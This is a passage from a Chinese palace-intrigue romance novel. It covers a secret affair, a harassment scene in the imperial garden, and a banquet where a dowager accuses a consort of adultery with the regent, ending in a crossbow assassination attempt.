“噢,没没,我们哥儿几个在此处闲逛呢。娘娘今日也这般好心情,往御花园内走啊?” 一边说,两步就跨过来,竟然胆子大到与她并肩。 她错愕望着他,再一看,徐卫与常平两个,不敢阻拦这色魔,竟然识趣地背过身,默不作声地沿另一条小径走了。 她鼻子底下顿 时一股色欲熏心之人的臭气。 “少将军这是做什么。”她淡淡道,“紫禁城内,岂非失礼。” 常忠挠着头嘿嘿笑:“娘娘言重了。小的也没想做什么。不过是见娘娘在此散心,怕娘娘闷得无聊,陪娘娘说说话,解解闷。” 她恶心得厉害,二话没说提着裙摆就转过眼前的拐角,径自往前疾走。 常忠步子一迈就追了上来,汗湿的手背,擦过她的手。 他是有意为之。 南琼霜心里一阵反胃。 “娘娘,娘娘。您别走啊,我想同您说说话。”他已经开始喘.息,牛一样深深地呼气吸气,“您知道的,我爹是定王,日后是要将那疯子扯下来的。我爹夺位以后,便传给我。您跟着我那窝囊堂弟做什么?您不如……” “你知道你在说什么吗!” “我自然知道!”他越说越急,字和字几乎连在一起,空气里一股微妙的酸味,南琼霜方知他喝了酒,“好娘娘,您听我说!您跟那疯子好,能有几年活头?形势一变,您就是那覆巢底下的娇花!左右您也是一枝花,插哪不是插,谁插不是插,您何苦吊死在……” 南琼霜劈手一掣,抡圆了胳膊赏他一个大耳光。 打得他腮肉悠悠摇晃。 他心里太急,整个人红得如一颗寿桃,嘴角一点说话急了带出来的白沫,被她扇得愣了神。 南琼霜心里顿悔。 此人是一山二虎之局的关键人物,不能轻举妄动,亦不能随便得罪。 她这一巴掌,是否会左右时局? 却见常忠张着口粗.喘半晌,抬起头来,眼里已是一片泥泞欲望,鼻尖油得锃亮,又将另一边脸侧来: “您,您……这边也来!求您!” 南琼霜仿佛坠入一潭酸臭黏稠的呕吐物之中,迈也迈不开步,甩也甩脱不开。 “你少给我——” “世子。” 一道清润嗓音。 海棠树的花瓣飘落两片,粉色的,打着旋儿,从她眼前缓落。 她鼻尖底下登时一股再熟悉不过的、令她心安的气息。 她眼睁睁看着常忠变了脸色。 那人在她身后,浅浅道: “世子有何贵干?” 常忠抖着嘴唇退开一步:“顾先生。” 顾怀瑾淡声应。 “世子事务繁忙,竟也有空调戏宫妃。”他笑,“若还想要脑袋,请回吧。” 他只要站在她身后,她就心安。 她心惊胆战地轻轻呼吸。只要他在,空气都会带一些他的气味。 知道他就在身后,她情不自禁地想往后靠。 对面,常忠见着这尊大佛——因他一人想不开,整个洛京跟着蹦三蹦的大佛,不敢招惹,慌张又悻悻地走了。 假山之中,顿时只余二人。 时辰已将近傍晚,浅橘色的残照穿过柔软的杨柳叶投在假山上,映得玲珑巧妙的太湖石一片金光粼粼。 她垂下眼,惴惴转过身。 她这些日子牵肠挂肚、提心吊胆,日也思、夜也想的人。 他更瘦了些,晶莹皮肤绷在骨上,几乎透明,俊逸的骨相完全水落石出。人白到了脆弱不堪的地步,简直要人疑心手指一捅,这人便能对穿。 倒是依旧高而挺拔。 可是,正是因为挺拔,衣裳愈显得空荡,什么也不做,已经衣襟带风。 她眼圈登时就红了,抿着唇,想摸摸他的脸。 他却忽然道:“……瘦了。怎么了?” 她一股热泪立时积在眼底。 “怎么了”?“怎么了”? 他倒还有心思问! 顾怀瑾望着她眼眶嫣红,扑扇着睫毛泫然欲泣,自然知道她为什么瘦了。 他要问这句话,这几个字,已经筹谋了很久。 就是要这样轻描淡写、若无其事地问她。然后等她明白,真不要他,他想不开,他会死的。而他死了,她也绝不可能自由。 他想不明白究竟该不该再爱她,也不知道假如不该,他能怎么办。 他想知道怎样能补偿天山,除了殉山,他不知道能怎么办。 他不知道她这样负心,她究竟爱不爱他,也不知道假如她不爱,他能怎么办。 所以他寻了死。 爱又放不下仇,恨又放不下情。想放手,舍不得;不放手,软骨头;放了手,才发现她身边早有人排着队,等他腾地儿呢。 他能怎么办。她叫他怎么办。她给他留别的路了吗? 想来想去,唯有自戕。 ——一箭三雕。 他不必再爱了,他对得起天山了,她会永远记住他了。 他抱着近乎恶意的期待,期待她崩溃,期待她后悔。 只是,真的见到她含着泪,仰着头,一派委屈,小心翼翼地看他。 他还是替她痛苦。 “好了,乖乖……”他道,“我不过是……” “你不过是?”她整个人控制不住地抖,残存了最后一点理智,用气音诘问,“你不过是?你不过是什么?割腕?放自己的血玩?你有什么想不开的……顾怀瑾!你有什么事过不去,要拿自己的命过?!我对你说过,你想知道的,我都会告诉你……!” “好了,乖乖,你……”他去握她层叠袖摆中的手,她的手凉得叫他心里咯噔一声,他心疼又痛快,“你……你被关进冷宫了?跟他吵了架?为什么?” 他带一点深深笑意: “你不是最了解他性子的?怎么会同他吵架?我当你永远只会哄他。” “我什么时候哄他?!”她瞪着眼睛。 四下无人,顾怀瑾将她冰凉的手放在掌中摩挲,去摸她柔软的手指,摸到一颗圆滚滚的东西——他送她的戒指。 从前给她打的那对耳环,一天也没见她戴过。 他带了点会心的笑。 “什么大事,这么急做什么。”他笑,“我都没有放在心上。不是逼着我……”他有点哽咽,“不是逼着我断吗?” 突然话一顿。 两个人的呼吸齐齐滞住一瞬,电光火石地撒开手。 王茂行的绯色官袍自假山幽径之中显出来时,两人袖摆的摇动仍未停。 如今,王茂行太担心他浸在天山之祸中瞎想,整日整日地尾随他,说得好听是陪伴,说得不好听——是骚扰。 两人心惊胆战地各自偏开眼。 王茂行捋须顿足:“唉,顾先生!” 南琼霜心里毕竟有鬼,讪讪退开一步,又恐此地无银三百两,悄悄挪回半步,不敢看王茂行。 王茂行却两步过来,拉开顾怀瑾,正正盯着她面上看了一眼。 看得她心里一激灵。 看什么?露了馅? 她惊疑不定地朝王茂行望去,方才眼里蓄的泪,刚刚好滑落一颗。 王茂行唉声叹气,甩着袖子跺脚: “顾先生,以老臣之见,娘娘毕竟是皇上的爱妃,您再看她不惯,又何苦追着她讥讽!唉……您才刚刚自鬼门关回来!” 南琼霜和顾怀瑾默不作声地,彼此对视一瞬。 心里忽然都明白。 两个魂牵魄缠、日日深吻、抵死难分的人,此时,在外人眼中,是一对针尖对麦芒的死敌。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 160-170 第161章 常太妃年轻时,性喜豪奢。嘉庆帝思母心切,此次为太妃而办的宫宴,本想格外奢侈些,却又想起顾怀瑾最不耐繁奢满眼,他怕又惹得这位大人不快,只好退而求其次,将原定一百零八道菜削减为八十八道。 是日,乾和殿内贵宾云集,前朝重臣、近支宗室、王公命妇、后宫女眷悉至。 常太妃一身珠华宝翠坐在上头,干瘪的脸颊已经丰润了些许,又有了些当年的艳丽威严之态。在她身侧,嘉庆帝、李玄白一齐坐在正中高台上。常达、毛琳妍因与常太妃是一家,自然坐在下方的首位。 南琼霜坐在稍远的下方,倒有些庆幸不必离上头太近。 上头,李玄白拄着下巴,百无聊赖地望着宴席发呆。 她已许久没见他,上回那般唇枪舌剑地指着他脑门讥讽,连她都有三分后怕。 这厮脾性毕竟是一等一的暴戾,虽然也偶尔心软,偶尔舍不得,但她 此次是真将人惹着了。待到他回过味来,要如何治她,谁说得准。 如果可以,她万万不想与摄政王打照面。 何况,顾怀瑾正坐在她身侧。 她垂下眼,拿着桌上精致的鎏金小酒盏,装模作样地转着看,一面偷偷地以余光觑着身边人。 顾怀瑾比她高出许多,并肩坐在她身侧。 不知为何,只要他在,他什么也不做,她就仿佛被他笼罩着似的。仿佛他周身有种奇妙的气——见了他,她身上的某一部分就同他纠缠不休,你包裹我,我包裹你。 她喜欢他在身侧的感觉,即便两个人什么也不说,什么也不做。 雅乐奏过,茶礼行过,酹酒礼行过,众人齐声念过祝词,宫宴终于算开了场。四下里一阵祝酒声、丝竹声,黄云缎包裹的食盒流水一般端入了乾和殿,传膳太监吊着尖细的嗓子唱膳,她捏着筷子,诸声全入不了耳。 一点咯啦、咯啦的声音,是他的筷子轻轻碰着珐琅碗。 经历了前几天那些肝胆俱裂、肝肠寸断的日子,他只是坐在她身侧默然不语地吃几口饭,她都会心安。 她叹了口气,夹了片桂花鱼片在碗里。 然而,又放下。 四面一看,一排排尽是整齐列行的佩刀侍卫,个个叉着腿负着手,人高马大、肩宽体阔,仿佛在大殿四周筑了一圈乌压压的藩篱。 这些人,有刀鞘上挂着金狮子头的金戈侍卫,有披着常氏虎甲的常家军,有腰间悬着飞鱼令的飞鱼卫。 贵人名流云集,三方大人物齐聚一堂,戍卫大殿之责,谁也不敢全权交予另一方,最终三方各自带人,以求不弱于人。 几月前顾怀瑾回宫的宫宴,三方还未彼此戒备到这地步。 想来,是前些日子他割了腕,人人都嗅到些不寻常的味道。 三方对峙之局,或许要松动了。 可是,要她动手的令,居然还没有下来。等到局势变了,她要下手,或许也没有那么容易了。顾怀瑾又身在局中,一朝宫变,成王败寇,说不准就是个菜场身死的下场。 即便说,他最终除掉了摄政王和常达——嘉庆帝那般玩物丧志,自视甚高又有疯症,重夺了权柄之后,他还容得下这尊大佛吗? 说不准狡兔死、走狗烹。 她越想越不知前路何在,坐在宴席之间,仿佛悬崖之上走钢丝,头痛欲裂地叹息一声。 却忽然有种感觉。 垂在身侧的手,被人一点、一点地牵着,握在手里。 温热的触感、极轻的力。 他拨开她层层叠叠的袖摆,微微地、轻轻地,勾住了她的手。 顾怀瑾缚着黑绸的脸波澜不惊。 两人的小指和无名指松松勾合。 众人饮酒谈笑,彼此恭维、相互攀交。 她全副心神落在自己两根手指上。 盛宴之上、众人之间,丝竹管弦声不断,人人推杯换盏,他竟然连她一声叹息都听了去。 说来也怪,方才还那般心慌,他用两根手指牵一牵她,她就好了。 并且,还有些眼酸,很想抱着他哭一哭。 她呼吸都屏了一瞬,情不自禁地吞咽了一下,抬眼,只见圆桌对面,李景泰眉飞色舞地同常忠遥遥敬酒,王茂行正跟同僚摆手自谦。 人人自得其乐,把酒言欢。 她轻着呼吸,小心翼翼地勾紧了他的手指。 又心中惴惴地朝嘉庆帝看去。 高台之上,嘉庆帝正附耳同毛琳妍说话,两个人笑得和和美美。 桌子之下,顾怀瑾大拇指蹭了蹭她的手背,粗粝的指纹在她手背上缓缓碾磨,缱绻、珍爱又眷恋不已的,徘徊不去。 仿佛很想她似的。 不是说,“我们不能在一起”吗? 她眼睫颤抖,又恐桌上人瞧出端倪,神色懒倦又恹恹,用另一只手捏着筷子夹菜。 顾怀瑾渐将她整只手都收在掌心里。滚烫的大掌,盘揉着她手背上四个支出来的骨节,大拇指一下一下刮着,像哄她。 她垂下长睫,轻轻呼吸。 应没有人看得出吧。人人都在谈笑——袖摆这样长,他的衣袖比她还长,桌布也曳地,这点不能为人知的动作,谁也瞧不出吧。 她又从容自若地环视一圈。 却忽然见,高台之上的常太妃,朝下面使了个眼神。 下方,常达若无其事地最后吃了口菜,撂下筷子,整理了一下衣领。 南琼霜心里登时道了一句不好。 不论这两人商量了什么,总不会有好事。 前些天,因摄政王不由分说地将她软禁在静思轩,宫里宫外不知传了多少谣言。有说她得罪了摄政王、在摄政王跟前失了偏宠,两人自此势如水火的;有说嘉庆帝惹得摄政王不悦,闹得头风发作都不准珍妃侍疾的;还有说她日日往大明宫行走,惹得摄政王起了别样心思,与嘉庆帝争风吃醋的。 凡此种种,虽是捕风捉影,但人言毕竟可畏。若是常达一心想将她除去,她八成闹不了什么好。 何况,常达确有除去她的动机——她毕竟背靠大明宫。 若无她,嘉庆帝身边唯有一个毛琳妍,紫宸殿于常达,便是掌中之物。 常达忽然朝着高台上的嘉庆帝遥遥抱拳: “皇上,惊闻您前些日子龙体抱恙,臣心中忧切,夙夜难安,只盼能为圣上分忧。刚巧,前些日子,驻守山海关外的常家军击溃了几支蒙古人。蒙古人惧我齐宋,归顺投降,献上琳琅西域珍宝以示诚意,其中,有一味鹿血丹。” 嘉庆帝正与毛琳妍搂着腰谈笑,闻言回首:“鹿血丹?” “正是。”常达垂首行礼,“此物乃西域奇珍,可祛风湿、益精血、补肾阳,活血祛寒有奇效。臣听闻圣上素有腰膝酸软之症,又有寒气侵体,常受此扰,遂愿以此物奉予圣上。” 宴席之中,人人不敢面色有异,若无其事地听。 南琼霜在心里微微一哂。 从前,常达一碗药酒给嘉庆帝喂下去,嘉庆帝就此精神不行,人也不举。如今再给他献药,嘉庆帝敢用么? 何况,是这种“补肾阳”的药。 当着满堂宗室大臣,给嘉庆帝献壮.阳的药,这常达倒挺敢开口。 果然,上头嘉庆帝脸色一顿,才干巴巴道:“定王用心至此,朕十分感激。只不过……” 常太妃倚在座位里,轻飘飘问:“……什么‘只不过’?” 嘉庆帝要死要活地非救自己母亲出来,便是因忌惮常达,希望自己母亲能在常达面前说两句话。不想,竟被自己母亲将话截住。 他心凉了半截,斟酌再三,白着脸道:“……爱卿事事念着朕,朕感激之至,焉有拒绝之理?王让,收下。” 王让喏喏接过。 常太妃蛾眉半挑:“皇上,这鹿血丹,你想如何用?” 南琼霜在心中笑,太妃竟然连服了药后皇上想幸谁都要问? 桌子底下的手却忽然被人用力一捏。 她装着往他后面的人身上看,偷觑了眼他的脸色。 顾怀瑾侧脸英俊润朗,啜着酒,一派云淡风轻。 她面色如常地转回头。 抓她做什么,又不是她想上龙床。 顾怀瑾不是不知道她不想上龙床。 但只要一想到有那么一丁点可能,她寸.缕不着地被送上他人的床。 他就受不了。 他有意用手腕磨蹭她,叫她摸到他腕上缠着的纱布。 南琼霜确实摸到了。轻轻一触,手就一哆嗦。 她酸酸地攥住了他两根手指,垂下眼。 上头,嘉庆帝众目睽睽之下,不知如何作答,嗫嚅着道: “自然是母亲要孩儿如何用,孩儿便如何用。” 常太妃冷哼一声。 她正小心翼翼地用大拇指摸着他手背,想学他的方式哄哄他,忽然却见自己视野里,常太妃正正与她对上了视线,一眨不眨。 “那是最好了。晔儿身边人,务必对皇上忠诚。”太妃一字一字咬得干脆,仿佛剁菜成丁,“不忠之人,断无再承皇恩之理!” 南琼霜方知这是在对她发难,坐直了身子。 却又被顾怀瑾松松 牵住。 他神色半分未动,握了握她的手。 南琼霜明白,那是告诉她,不会有事。 她双肩又松懈下去,靠在椅背上,懒懒摇着纨扇。 方才被太妃盯视着怒喝,她差点起来回话。现在一想,人家都未指名道姓,若自己撞到话头上,岂非对号入座? 她不理,不动声色地端起小酒盏饮着。 常太妃又望着她道:“侍奉君侧,乃是皇恩浩荡。若有哪个敢秽乱宫闱、枉负天恩,以齐宋律,当绞!” “秽乱宫闱”四字一出,顾怀瑾意味深长地捏了捏她的指腹。 “当绞”两个字,听得她一笑。 吓唬她呢。 想来,是听说她素来与顾怀瑾不合,近来又不得摄政王的意,琢磨着法子,想将她从嘉庆帝身边除去。 不过,“秽乱宫闱”。 两人的手在袖中彼此牵勾。 常太妃见她只是礼貌含笑不应,兀地在桌上一拍,食指绷得弯翘,直指着她: “大胆珍妃,还敢不认!” 当下宾客齐齐一惊,连高台正中的嘉庆帝都未料到这形势,一激灵,惊愕地来回巡看。 四下诧异目光之中,南琼霜不慌不忙地起身行礼: “臣妾不知太妃所指何事。” “还要狡辩?”太妃冷哼一声,“静思轩中,你我同居一处,事事哀家都听得真切!铁证如山,无可置疑,你还敢大言不惭、藐视天恩?” 她垂首,依旧道:“臣妾不知太妃所指何事。” “不知?好,不知!”太妃大喝,“哀家且问你,静思轩中,同你讲话那男人,究竟是何人?!” 满堂宾客一阵短暂的寂静,面面相觑后,彼此暗使眼色。 “静思轩之中从无外男。”若有,许是雾刀——那日他大喇喇走出来跟她说话,果然叫太妃看见了。她暗自咬牙,“臣妾搬去静思轩之后,静思轩由摄政王的金戈侍卫层层把守。金戈侍卫俱是摄政王信赖的亲兵,断无失察之理。太妃何不问问值守静思轩的侍卫?” 常达却冷笑一声,缓缓撂下酒杯,一双虎目朝高台上睨着: “金戈侍卫,是摄政王的近侍,本领高强,自然防得住外贼。” “但倘若,那叩开静思轩之人,正是摄政王本人呢?” 殿内一阵惊骇之声。 众人听太妃发难,原本带了些听宫闱秘闻的好奇之心,听至此处,方知是常李双方之争,且自己是太妃拉来做听众的,无不大惊失色。 李玄白听了这话,倒没一点反应,只是笑了一笑。 今日他颇反常,安安静静地用膳,安安静静地歪在椅子里,既不惹人,也不恼人。 常达:“京中都传,珍妃娘娘借表兄妹之由,日日进出大明宫,往来自由,宫人习以为常。焉知即便是亲兄妹,亦该顾忌男女大防,区区表兄妹,怎可频繁往来!珍妃早与大明宫有私情,是以皇上发病,珍妃娘娘欲往紫宸殿侍疾,摄政王为此争风吃醋,一气之下,将珍妃打入静思轩!” 南琼霜笑问:“定王是说本宫与摄政王私通?” 定王顿首:“正是!” 南琼霜往高台之上看了一眼。 李玄白遥遥与她对视,捻着耳坠,笑而不语。 不仅不欲解救,还要瞧好戏。 她冷笑,同摄政王私通? 却忽然感到袖中的手,被那人,含着点不甘的嫉恨,套了个东西。 他的白玉扳指。 曾经放到她体内,将她弹成一把琵琶的扳指。 缓缓地,被他套上她中指,撸到她指根。 含糊其辞的威胁。 他不喜欢她看他,不喜欢听人说她同李玄白有私情,更不喜欢听人说她被关入静思轩,不是为了他。 南琼霜竭力不去想那扳指曾经沾过什么东西,有过怎样的触感。 大庭广众之下,手指相勾倒也罢了,拿出他那枚扳指做什么?! 她哆嗦着呼吸四下看了一圈,只见宾客大多呆若木鸡,置若罔闻。 装听不见——是因早已听闻,并不为奇。 原来人人都猜她与摄政王有私情。 亲密无间的人最清白。 势不两立之人才是奸夫。 她勾唇笑笑:“既然如此,太妃可有确切的日子,确切的时辰?摄政王是有起居注的。太妃说出个日子,拿着起居注一对,此事是真是假,不就水落石出了?” 常太妃当日只是隐约听见男人的声音,亦怕给出一个确切时间,反而弄巧成拙,话说得模棱两可:“哀家被摄政王禁足冷宫多年,身子早就不好了,又怎会记得什么日子!” 南琼霜含笑:“太妃身子如何不好?”疯子的话,不作数。 常太妃最忌讳人家知道自己疯过:“昏昏沉沉,迟钝嗜睡。” 南琼霜无法当着众人说太妃疯过——那是大不敬,语塞了一回。 李玄白早瞧这得了势便声色俱厉的常太妃不顺眼,又听她装模作样地粉饰脸面,嗤笑一声。 常太妃听了他那一声讥笑,大怒:“哀家不仅听得静思轩中有男人的声音,还确确实实看见了那男人的样貌!那男人朱紫锦袍,衣饰四爪蟒,傲慢倨妄,言行骄逸,若非摄政王,还能是谁!” 殿上金戈侍卫一听此言,个个惊怒交加,未待得令,急急拔刀,殿内一阵刀剑出鞘的嚓嚓声。 宾客一时惊骇四望,彼此相觑,有的冷汗涔涔起了身,借口净手,溜之大吉。 这样无端被骂,李玄白也只是散漫冷嘲一声,拄着下巴,不肯插话。 南琼霜道:“既然太妃一口咬定摄政王曾潜入静思轩中与臣妾私会,臣妾空口无凭,无从申辩,不如请静思轩中侍奉太妃的慎舒姑姑出面对质吧。” 不多时,李慎舒被请入了乾和殿。 李慎舒手拈着帕子交叠在小腹,依旧笑得妥帖守礼。 常太妃坐在高台之上,缓声道:“李慎舒,哀家问你什么,你如实答就是。” 李慎舒低了头:“是。” 常太妃:“你曾入静思轩侍奉哀家。哀家问你,你在静思轩时,可曾在殿内听见什么?” 李慎舒:“回太妃的话。静思轩内僻静,珍妃娘娘不多话,殿内往往只有鸟啼。” “那么,”常太妃倚在高椅中,“你可曾在殿内见过谁?” 问这话的时候,她葱根般的食指支着太阳穴,懒洋洋挑了挑眉。 她敢在众宾云集的宫宴上公开发难,自然是有备而来。常达早给了她金银,要她买通这掌事姑姑。 人人都说这李慎舒是守矩有分寸的,她还以为买通她,要花些气力。谁知,她一开口,李慎舒便含着笑收下了。 李慎舒声音稳而沉:“回太妃,没有。” 意料之中,南琼霜微微一笑。 常太妃惊得 坐起了身子:“你再同哀家讲一遍?!” 李慎舒垂首:“回太妃,没有。” “什么没有!”太妃戴着护甲的手指朝她颤颤巍巍指着,“什么没有!听也没听见、看也没看见?!” 李慎舒只是道:“确实并无外男出入静思轩。” 嘉庆帝也瞧出他母亲今日的意图——无非是叫他身边仅剩个毛琳妍,心里本能地觉得危险,开口阻拦:“母亲,证人都说德音是清白的,此事便算了吧,许是母亲听错了。” 常太妃刚欲再开口,嘴唇哆嗦两下,被金戈侍卫亮出的白花花的刀刃晃了眼睛。 她却咬了牙,鲜红朱唇被叨进齿间,挤得变了形,手掌狠狠在桌上一震: “不行,事关宗室血脉,此事绝不能就这样算了!李慎舒入静思轩时,哀家已经得了摄政王的赦令,彼时,珍妃已在静思轩中关了几日!即便李慎舒阴差阳错地没见着,也不能作数——哀家见过!” 南琼霜笑:“太妃是说,慎舒姑姑入静思轩之前,摄政王便曾潜入静思轩中,与臣妾私会?” 常太妃红艳艳的唇圈起来:“贱妇!你敢不认?!” 李玄白坐在上头,再怎么赌气不肯开口,终于还是明刀暗枪地被骂了个狗血淋头,听到此处,是再也忍不住,啧了一声: “太妃,外头人都说你疯了。现在一看,是真疯了吧?” 又歪着头睨着李慎舒: “你说。初入静思轩服侍太妃时,太妃精神如何。是正常,还是失常。” 李慎舒这回略有为难,斟酌着措辞: “回摄政王,太妃……最初,确实嗜睡疲乏,言行有异。” “嗜睡疲乏”是顺着太妃说。“言行有异”是顺着摄政王。 南琼霜心里道,人精。 她瞧到机会,当即发话,一口咬死:“臣妾初入静思轩时,常常听见太妃对着窗外的鸟儿说话,有时,夜里还撞见太妃对着墙唱歌。太妃说听见我同外男说话,又私会外男,不知是否将树上的鸟儿当做了什么男人,又凭空看见了什么脏东西?” 常太妃怒得身子渐倾在桌上,朱红的蔻丹掐进掌心,身子绷得直抖。 却再无话可说。 摄政王开了口说她疯了,便已经给她定了性。那是紫禁城内最有权势之人,她还能怎样? 她拿起桌上小酒盏,一饮而尽,沉着脸色,朝阶下的常达,递去一眼。 常达今日已经开罪了摄政王,是退也退不得,铁了心要将这颗皇上身边的眼中钉拔除,抱拳: “那么,敢问摄政王,若非争风吃醋,当日软禁珍妃娘娘,究竟所为何事?” 李玄白似笑非笑地低头,拄着腮,遥隔众人,望进她眼里。 挑了挑眉。 南琼霜已经懂他到何种地步,他那意思,她如何不明白。 他是问:想我说吗? 她隔着迢迢千里被他用一个笑威胁着,捏紧了手里的小酒盏。 知道李玄白气她气得不行,但她还是赌,他不会说。 他还是会替她遮掩。 因为如果是她,她的选择,也是这一个。 果然,李玄白只是懒洋洋笑着,任谁诘问,犹自不理。 常达见他懒得理会,心中不止是怒,更觉受辱,灌木般茂密的胡须被鼻息吹得一动一动: “摄政王不答,究竟是何意?!即便是表兄妹,亦不能如此猖狂!一宫娘娘,闲来无事便往表兄的寝宫中跑,摄政王与皇上又是亲兄弟!倘若出了差错,污了龙脉,一招狸猫换太子,我齐宋大统绝矣!” 堂中宾客万万没想到,定王敢当着众人、皇上、顾怀瑾的面同摄政王撕破脸,一时人心惶惶,纷纷借口离席。 乾和殿中渐渐空了三分之一。 常达:“此事宁可错杀,不能轻放!否则大统究竟在谁手中,皇位又在谁手中,如何分明!珍妃既有私通之疑,该杀!” 话毕,大喝:“来人!” 一旁披着虎甲、蓄势许久的常家军高声齐呼:“在!” 常达:“剥去嫔妃服制,殿外杖杀!” 南琼霜没料到李玄白还未开口,常达就敢当着他的面同她来硬的,未待反应,肩已经被冲上前的常家军按了下去,人差点倾在桌子上。 李玄白遥遥望着她,见她都到了这地步,都不肯递个眼神跟他服软,怒得不知如何是好,一边冷笑,一边点头。 今日这场宫宴,他半点动作也无,就是为了在上面看着她。 看她服不服软,反不反省,求不求他。 谁知,她竟坐在那姓顾的身旁,一派怡然自得,半点眼神都没分给他。 当真是端着碗吃饭,吃完饭踢碗。 究竟是谁帮她最多?谁最懂她?谁最与她脾性相投? 那死心眼的呆子,半点坏事都做不来,这种人,会有他懂她?! 他一抬眼,又看见。 那不知天高地厚的常达,养的一窝不知天高地厚的兵崽子,二话没说,冲上前,将他都舍不得碰一根手指头的人,押得珠钗乱摇。 她给惊得花容失色。 李玄白坐在金陛之上,觉得今日一切荒唐得可笑。 他片刻不管,这儿就要翻了天了是吧。 他食指曲着,支着太阳穴,半阖一双狐狸眼,缓缓一眨: “——谁敢动。” 不怒,不重,散漫不已的三个字。 高台之下,气势汹汹的常家军,一齐住了手,吓得肃立。 李玄白在或畏惧、或崇敬、或打量的视线里,众目交汇之处,慢条斯理地翘起了二郎腿,十指交叉,扣在膝盖上。 他打了个哈欠:“说本王和珍妃私通?” 说完,他笑了,望着台下一众惶骇面孔,轻轻吐字: “——说对了。” “——珍妃,是本王的人。” 第162章 乾和殿,整个安静了半刻钟。 窗外树枝簌簌。 满殿宾客,僵如木雕泥塑,呆若木鸡。 所有一切尽数静止。唯有嘉庆帝的酒盏,倾倒了,葡萄紫的酒液淌了满桌,滴答滴答,沿着桌缘滴下来。 李玄白百无聊赖地又打了个哈欠。 南琼霜隔着满殿惊愕脸孔遥遥与他对望,不自觉地开始哆嗦。 ——他今日真是疯了。 她刚要辩白,话到嘴边。 又见李玄白坐在众人之上,一副自得之态。 她堪堪想起,紫禁城内,他说什么,就是什么。 无人能同他争辩。他说是,便是。即便不是,也只能是。 ——她闭上眼,发着抖,深吸一口气。 终于什么也没说。 说什么,也没用。 满堂宾客骇得脸都白了,结结巴巴地连话都说不出,面面相觑。 谁也没想到,定王胆敢未得摄政王首肯,公然对珍妃用武。 更无人想得到,摄政王会在众宾悉至的宫宴上,大模大样、毫不遮掩地,将两人秘事公之于众。 宫妃与摄政王有私情,这种事,虚虚实实,半假半真,众人爱听爱传,早在嘴里嚼了千百回。但宫闱秘闻,只能谣传,不能明说。若明说,且是正主来明说——反倒叫这些人不知如何是好。 殿中一向巧舌如簧的言官文人,半个字也凑不出来,良久,借口净手,三三两两地起身告退。 高台之上,嘉庆帝终于反应了过来,半息之内已是粗喘如牛,人从脖子一路涨红到前额,哆哆嗦嗦地指着她: “珍珍珍珍珍妃……你……” 长嚎一声,手中鎏金酒盏一掷: “……你竟敢如此!背叛!欺辱朕!” “皇上!”她惊怒交加,心知说不清了,连眼泪都攒不出来,“臣妾不知摄政王在说什么!臣妾……” 嘉庆帝再抬头时,双目已是血红,太阳穴青筋暴起: “朕要杀了你!——来人!朕头痛啊!来人……!飞鱼卫!先生!给朕杀了这女人——!” 殿旁飞鱼卫得令,齐齐拔刀,殿内霎时一阵雪影。 嘉庆帝不知从哪找着了一把剑,满面通红地挥着袖子扑过来,众人阻拦不得,她眼见着一只大黄蛾子直直糊到眼前,慌忙起身随其余宾客一同倒退,却听那头一道声音,轻描淡写地道: “……皇上。” 嘉庆帝病发得浑浑噩噩,举着剑,定在桌前。 顾怀瑾慢条斯理剥着虾: “摄政王素来口无遮拦,好出狂言,戏弄旁人。” 他缓缓一哂: “皇上可别被他戏弄了。” 满殿宾客乱如无头苍蝇,闻言,齐齐一顿。 众人仓惶回身。 大殿之中,桌椅倾倒,满地残羹冷饭。唯有中间一人不动如山,一头乌发墨袍,气定神闲地自顾自剥虾,仿佛周遭乱到这地步,也不值得放在心上似的。 话说得轻,众人全僵在原地,屏息谛听。 “摄政王是什么脾气,珍妃娘娘又是什么脾气,顾某不必说,皇上自然晓得。两人性子是一个模子打出来的,一个要琵琶,一个便给;一个要看戏,一个就准,都是奢纵之徒。恨不能用金榻休息、金池沐浴。” “那静思轩,是什么地方。积灰蓄虫,床冷榻硬。这样的地方,这两人也有兴致偷情?摄政王莫信口开河了。” 他带点笑意,遥遥朝李玄白挑眉,敬了一盏酒: “何况,摄政王是怎样脾性。若真看中了珍妃娘娘,将人强掳至大明宫行好事,才是摄政王之道。摄政王怎会在静思轩中委屈自己?” 李玄白冷笑一声。 桌前的嘉庆帝,缓缓放下了手中长剑,气喘吁吁地,将那剑掷在地上,当一声。 他觉得此话有理。 摄政王何曾畏惧过谁?连他一国之君,顿地哭嚎,摄政王都能一笑置之——他若有心,还非去静思轩? 顾怀瑾声音沉缓: “皇上龙体欠佳,还望摄政王心慈些,手软些。莫说这等胡话,戏耍皇上。常言道,君无戏言——言辞轻妄,难为人君,还望摄政王谨记。” 话毕,礼貌一颔首,敬了酒,也不饮,随手搁在一旁。 殿中其余人等也觉顾怀瑾这一番话有理——摄政王多戏言诳语是出了名的,说得多了,谁还能全信?又见嘉庆帝那头已经扔了剑,叠着声叫唤头痛,便知嘉庆帝亦将这话听进了心里,一心只顾自己的头风,各自松了口气。 高台上,李玄白眼里一派幽暗沉晦,好整以暇地歪在高椅里,冷笑,不动。 被他识破了。不仅没气着这呆子,还给他教训了一通。 忽然,他看见,高台下面怡然坐着的人,手里剥着虾,抬起头来。 黑绸底下两片浅红的唇,惬意勾着,无声翕动。 一句话。 摄政王,怎会和娘娘私通呢。 他将那剥好了的虾,放进手边的碗里。 她的碗。 摄——政——王——怎——会——和—— 娘——娘——私——通——呢。 王茂行赶到嘉庆帝身边:“皇上,您万勿动怒,顾先生所言在理!摄政王不过戏言!宫规森严,宫闱之中,哪会有这些□□之事!倘若真有,摄政王又怎会明言!龙体至重,皇上,您听老臣一言,听顾先生一言,千万莫因摄政王妄口悬河,损伤龙体!” 李玄白将手中玉箸咔吧一声折为两截。 蠢材!! 他一口恶气噎进喉里,不上不下,紧攥着拳头抵唇,恨恨在指节上咬了一口。 一掌拍在桌上:“好,好。顾先生真是提醒本王了。从此以后,珍妃夜夜宿在我大明宫!” 众人才刚松了口气,听闻此言,又是炸开了锅。 南琼霜大惊,今日这人是没完没了了?! “摄政王——!” 李玄白高坐蟠龙金台之上,含笑睨她。 顾怀瑾噙着点笑,刚要开口,忽然却听殿内一声极轻的响。 嗖一声。 一瞬之后,只余弓弦嗡鸣。 李玄白呼呼喘着,脸旁一根短箭,直直没入他椅背。 冰凉的箭身,贴着他太阳穴,他垂下眼强作镇定,又冷汗涔涔地抬眼。 对面,常太妃见未射中,下巴卯力,稍偏方向,咬牙又是一箭。 李玄白一颗珠子窜出,当一声,那箭登时偏飞。 那小型弓弩绑在常太妃手臂,她举着胳膊一边抖一边瞄准,一把嗓子尖嘶若利刺: “孽畜!” 